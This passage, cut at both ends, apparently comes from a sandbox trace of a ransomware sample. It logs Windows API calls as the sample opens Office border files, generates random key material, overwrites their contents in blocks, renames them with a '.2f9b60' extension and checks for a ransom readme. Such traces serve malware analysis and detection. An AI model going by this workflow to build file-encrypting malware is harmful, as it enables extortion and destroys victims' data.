Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 0x20 [0121.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR", dwFileAttributes=0x20) returned 1 [0121.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0121.213] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x3f95f900 | out: lpFileSize=0x3f95f900*=58756) returned 1 [0121.213] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0xe580, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.213] ReadFile (in: hFile=0x1020, lpBuffer=0x3f95f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f95f8c8, lpOverlapped=0x0 | out: lpBuffer=0x3f95f880*, lpNumberOfBytesRead=0x3f95f8c8*=0x4, lpOverlapped=0x0) returned 1 [0121.493] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0121.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0121.494] NtQuerySystemTime (in: CurrentTime=0x3f95f7c0 | out: CurrentTime=0x3f95f7c0*=132462177268978000) returned 0x0 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x1c05f9c4 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x451adec [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0xaf94fa [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x3a49bc96 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x6b650025 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x573d2136 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x73f41abe [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x182bcb34 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x7c589524 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x76b2c34b [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x4033f7b3 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x50aa74bf [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x3a3f3014 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x458de3e3 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x4b0d0695 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x659f9d [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x3f96c4be [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x2a66572e [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x1643f290 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x3dfa05ca [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x29865a9f [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0xf2d3fbc [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x33f3a70 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x349f56b4 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x5734c33 [0121.494] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x695e0d30 [0121.495] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x1dc9774a [0121.495] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x4dffc44d [0121.495] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x77902052 [0121.495] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x2626ee52 [0121.495] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x7b622480 [0121.495] RtlRandomEx (in: Seed=0x3f95f7b0 | out: Seed=0x3f95f7b0) returned 0x715df96f [0124.474] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.474] ReadFile (in: hFile=0x1020, lpBuffer=0x41b84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3f95f820, lpOverlapped=0x0 | out: lpBuffer=0x41b84990*, lpNumberOfBytesRead=0x3f95f820*=0x3c00, lpOverlapped=0x0) returned 1 [0124.795] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0124.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0124.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b7d170 [0124.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0124.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0124.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65c0) returned 1 [0124.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.796] WriteFile (in: hFile=0x1020, lpBuffer=0x41b7d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3f95f820, lpOverlapped=0x0 | out: lpBuffer=0x41b7d170*, lpNumberOfBytesWritten=0x3f95f820*=0x3c00, lpOverlapped=0x0) returned 1 [0124.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b7d170) returned 1 [0124.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b84990) returned 1 [0124.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced8460 [0124.810] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.810] WriteFile (in: hFile=0x1020, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f95f8d0, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x3f95f8d0*=0x108, lpOverlapped=0x0) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0124.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c10 [0124.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0124.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0124.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0124.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0124.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0124.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c10) returned 1 [0124.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda0570 [0124.824] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="64") returned 2 [0124.824] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="14") returned 2 [0124.824] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="11") returned 2 [0124.824] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="8a") returned 2 [0124.824] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="60") returned 2 [0124.824] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="75") returned 2 [0124.824] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="b5") returned 2 [0124.824] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="2c") returned 2 [0124.824] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="69") returned 2 [0124.824] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="bd") returned 2 [0124.824] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="81") returned 2 [0124.824] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="22") returned 2 [0124.824] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="a1") returned 2 [0124.824] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="2a") returned 2 [0124.824] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="9e") returned 2 [0124.824] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="85") returned 2 [0124.825] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="da") returned 2 [0124.825] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="b2") returned 2 [0124.825] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="34") returned 2 [0124.825] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="68") returned 2 [0124.825] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="92") returned 2 [0124.825] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="2b") returned 2 [0124.825] RtlInitAnsiString (in: DestinationString=0x3f95f948, SourceString="6414118a6075b52c69bd8122a12a9e85dab23468922b" | out: DestinationString="6414118a6075b52c69bd8122a12a9e85dab23468922b") [0124.825] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f95f918, SourceString="6414118a6075b52c69bd8122a12a9e85dab23468922b", AllocateDestinationString=1 | out: DestinationString="6414118a6075b52c69bd8122a12a9e85dab23468922b") returned 0x0 [0124.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b864530 [0124.825] wcscat (in: _Dest=0x2027bc30, _Source="6414118a607" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6414118a607") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6414118a607" [0124.825] wcscat (in: _Dest=0x2027bc30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6414118a607.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6414118a607.2f9b60" [0124.825] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6414118a607.2f9b60", NtPathName=0x3f95f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6414118a607.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107240 [0124.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107240) returned 1 [0124.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46a60) returned 1 [0124.839] NtQueryInformationFile (in: FileHandle=0x1020, IoStatusBlock=0x3f95f958, FileInformation=0x3f95f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f95f958, FileInformation=0x3f95f968) returned 0x0 [0124.839] NtSetInformationFile (FileHandle=0x1020, IoStatusBlock=0x3f95f958, FileInformation=0x3f95f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bc30) returned 1 [0124.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864530) returned 1 [0124.841] FlushFileBuffers (hFile=0x1020) returned 1 [0124.850] CloseHandle (hObject=0x1020) returned 1 [0124.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bc30 [0124.851] wcscpy (in: _Dest=0x2027bc30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0124.851] wcscat (in: _Dest=0x2027bc30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0124.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0124.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bc30) returned 1 [0124.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aec80) returned 1 Thread: id = 1462 os_tid = 0x192c [0120.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 0x20 [0121.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR", dwFileAttributes=0x20) returned 1 [0121.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x100c [0121.250] GetFileSizeEx (in: hFile=0x100c, lpFileSize=0x4137f6e0 | out: lpFileSize=0x4137f6e0*=28368) returned 1 [0121.250] SetFilePointerEx (in: hFile=0x100c, liDistanceToMove=0x6ecc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.250] ReadFile (in: hFile=0x100c, lpBuffer=0x4137f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4137f6a8, lpOverlapped=0x0 | out: lpBuffer=0x4137f660*, lpNumberOfBytesRead=0x4137f6a8*=0x4, lpOverlapped=0x0) returned 1 [0122.231] SetFilePointerEx (in: hFile=0x100c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631a0 [0122.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0122.232] NtQuerySystemTime (in: CurrentTime=0x4137f5a0 | out: CurrentTime=0x4137f5a0*=132462177276154000) returned 0x0 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0xe195e42 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x4cdde82 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x4dd88d30 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x6a9733a5 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x1d2e6780 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x7d99b0bb [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x2d488e03 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x2be4265f [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x378b24ed [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x67d59c8b [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x581b4fa7 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x1ce5f7c0 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x3eabb8f8 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x5e42bf40 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x4c1ac07c [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x2e8b6ed7 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x6d02d3b1 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x2626ee52 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x17d2fa0c [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x77d4943f [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x1a7559fd [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x647e011 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x2bb8bb56 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x7b33d19 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x52f83f0e [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x276e446d [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x2c66530e [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x1c93e7f2 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x2e8bbaf8 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x706f5840 [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x3fa6ac6d [0122.232] RtlRandomEx (in: Seed=0x4137f590 | out: Seed=0x4137f590) returned 0x4c7a11ea [0124.476] SetFilePointerEx (in: hFile=0x100c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.476] ReadFile (in: hFile=0x100c, lpBuffer=0x41fd78d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4137f600, lpOverlapped=0x0 | out: lpBuffer=0x41fd78d0*, lpNumberOfBytesRead=0x4137f600*=0x3c00, lpOverlapped=0x0) returned 1 [0124.477] SetFilePointerEx (in: hFile=0x100c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0124.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504290 [0124.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0124.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0124.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce99640 [0124.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0124.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0124.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ae0) returned 1 [0124.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504290) returned 1 [0124.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0124.478] WriteFile (in: hFile=0x100c, lpBuffer=0x1ce99640*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4137f600, lpOverlapped=0x0 | out: lpBuffer=0x1ce99640*, lpNumberOfBytesWritten=0x4137f600*=0x3c00, lpOverlapped=0x0) returned 1 [0160.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce99640) returned 1 [0160.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fd78d0) returned 1 [0160.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a2b70 [0160.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0160.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0160.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2ba0 [0160.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2ba0) returned 1 [0160.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a2ba0 [0160.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2bd0 [0160.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2c00 [0160.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2c00) returned 1 [0160.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0160.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0160.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42055e80 [0160.946] SetFilePointerEx (in: hFile=0x100c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.946] WriteFile (hFile=0x100c, lpBuffer=0x42055e80, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x4137f6b0, lpOverlapped=0x0) [0188.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e10 [0188.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaee0 [0188.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135410 [0188.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135410) returned 1 [0188.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d880 [0188.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135410 [0188.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135440 [0188.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135440) returned 1 [0188.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaee0) returned 1 [0188.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e10) returned 1 [0188.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9e9f0 [0188.941] sprintf (in: _Dest=0x1cd9e9f0, _Format="%c%c" | out: _Dest="84") returned 2 [0188.941] sprintf (in: _Dest=0x1cd9e9f2, _Format="%c%c" | out: _Dest="8d") returned 2 [0188.941] sprintf (in: _Dest=0x1cd9e9f4, _Format="%c%c" | out: _Dest="e3") returned 2 [0188.941] sprintf (in: _Dest=0x1cd9e9f6, _Format="%c%c" | out: _Dest="2c") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9e9f8, _Format="%c%c" | out: _Dest="c3") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9e9fa, _Format="%c%c" | out: _Dest="a6") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9e9fc, _Format="%c%c" | out: _Dest="d6") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9e9fe, _Format="%c%c" | out: _Dest="da") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea00, _Format="%c%c" | out: _Dest="c5") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea02, _Format="%c%c" | out: _Dest="60") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea04, _Format="%c%c" | out: _Dest="84") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea06, _Format="%c%c" | out: _Dest="aa") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea08, _Format="%c%c" | out: _Dest="9d") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea0a, _Format="%c%c" | out: _Dest="90") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea0c, _Format="%c%c" | out: _Dest="93") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea0e, _Format="%c%c" | out: _Dest="58") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea10, _Format="%c%c" | out: _Dest="6d") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea12, _Format="%c%c" | out: _Dest="58") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea14, _Format="%c%c" | out: _Dest="e5") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea16, _Format="%c%c" | out: _Dest="37") returned 2 [0188.942] sprintf (in: _Dest=0x1cd9ea18, _Format="%c%c" | out: _Dest="13") returned 2 [0188.943] sprintf (in: _Dest=0x1cd9ea1a, _Format="%c%c" | out: _Dest="b5") returned 2 [0188.943] RtlInitAnsiString (in: DestinationString=0x4137f728, SourceString="848de32cc3a6d6dac56084aa9d9093586d58e53713b5" | out: DestinationString="848de32cc3a6d6dac56084aa9d9093586d58e53713b5") [0188.943] RtlAnsiStringToUnicodeString (in: DestinationString=0x4137f6f8, SourceString="848de32cc3a6d6dac56084aa9d9093586d58e53713b5", AllocateDestinationString=1 | out: DestinationString="848de32cc3a6d6dac56084aa9d9093586d58e53713b5") returned 0x0 [0188.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b857d40 [0188.943] RtlFreeAnsiString (AnsiString="8") [0188.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e9f0) returned 1 [0188.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d880) returned 1 [0188.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135410) returned 1 [0188.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42055e80) returned 